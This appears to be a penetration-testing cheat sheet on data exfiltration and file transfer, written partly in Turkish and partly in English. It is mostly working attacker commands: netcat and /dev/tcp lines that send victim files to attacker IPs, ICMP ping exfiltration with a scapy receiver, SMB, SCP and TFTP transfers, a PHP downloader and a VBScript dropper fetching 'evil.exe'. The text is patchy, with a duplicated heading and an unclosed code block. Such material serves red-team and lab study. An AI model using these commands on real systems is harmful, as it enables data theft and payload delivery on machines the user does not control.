### Exfiltration

Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data from a compromised system, including:

1. **Email**: Sending data as email attachments to an external email address.
2. **FTP**: Transferring data using the File Transfer Protocol to a remote server.
3. **DNS**: Encoding data within DNS requests to leak information.
4. **HTTP/HTTPS**: Sending data over HTTP or HTTPS to a remote server.
5. **Steganography**: Hiding data within images or other files to avoid detection.
6. **Cloud Storage**: Uploading data to cloud storage services like Dropbox or Google Drive.

Exfiltration can be a critical phase in a cyber attack, as it allows threat actors to steal sensitive information from a target organization. It is essential for organizations to implement strong security measures to prevent data exfiltration and protect their valuable assets.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials

WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
WindPS-2> cd new_disk:
```
## SCP

Saldırganın SSHd çalışıyor olmalıdır.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS

Eğer kurbanın SSH'si varsa, saldırgan kurbandan saldırganın bilgisayarına bir dizin bağlayabilir.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
```
## NC

NC, or Netcat, is a versatile networking tool that can be used for exfiltration. It can create connections to remote systems, listen for incoming connections, and transfer data between systems. NC can be used to exfiltrate data over various protocols such as TCP or UDP. It is a powerful tool for both red teaming and penetration testing engagements.
```bash
nc -lvnp 4444 > new_file
nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp

### Kurbanın cihazından dosya indirin
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
```
### Dosyayı hedefe yükle
```bash
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
# Inside victim
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
## **ICMP**

## **ICMP**

ICMP, Internet Control Message Protocol, is a network layer protocol used to send error messages and operational information indicating success or failure when communicating with a host. ICMP can also be used for exfiltration purposes due to its low detection rate and ability to bypass firewalls.
```bash
# To exfiltrate the content of a file via pings you can do:
xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
#This will 4bytes per ping packet (you could probably increase this until 16)
```

```python
from scapy.all import *
#This is ippsec receiver created in the HTB machine Mischief
def process_packet(pkt):
if pkt.haslayer(ICMP):
if pkt[ICMP].type == 0:
data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
print(f"{data.decode('utf-8')}", flush=True, end="")

sniff(iface="tun0", prn=process_packet)
```
## **SMTP**

Eğer bir SMTP sunucusuna veri gönderebiliyorsanız, veriyi almak için bir SMTP oluşturabilirsiniz:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP

XP ve 2003'te varsayılan olarak (diğerlerinde kurulum sırasında açıkça eklenmesi gerekir)

Kali'de **TFTP sunucusunu başlatın**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**Python'da TFTP sunucusu:**
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
**kurban** üzerinde, Kali sunucusuna bağlanın:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP

PHP ile bir dosyayı indirin:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
## VBScript

### VBScript Exfiltration

VBScript can be used to exfiltrate data from a compromised system. This can be achieved by encoding the data and sending it to an external server controlled by the attacker. VBScript can also be used to compress the data before exfiltration to minimize the amount of data sent over the network. This technique can help attackers avoid detection by security tools that monitor network traffic for suspicious patterns.
```bash
Attacker> python -m SimpleHTTPServer 80
```
**Kurban**
```bash
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET", strURL, False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

```bash
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe

`debug.exe` programı sadece ikili dosyaların incelenmesine izin vermekle kalmaz, aynı zamanda onları onaltılıktan yeniden oluşturma yeteneğine sahiptir. Bu, bir ikili dosyanın onaltılık bir gösterimini sağlayarak `debug.exe`nin ikili dosyayı oluşturabilmesi anlamına gelir. Bununla birlikte, debug.exe'nin **64 kb boyutundaki dosyaları birleştirme sınırlaması olduğunu** unutmamak önemlidir.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
```markdown
Ardından metni windows-shell'e kopyalayıp yapıştırın ve nc.exe adında bir dosya oluşturulacaktır.
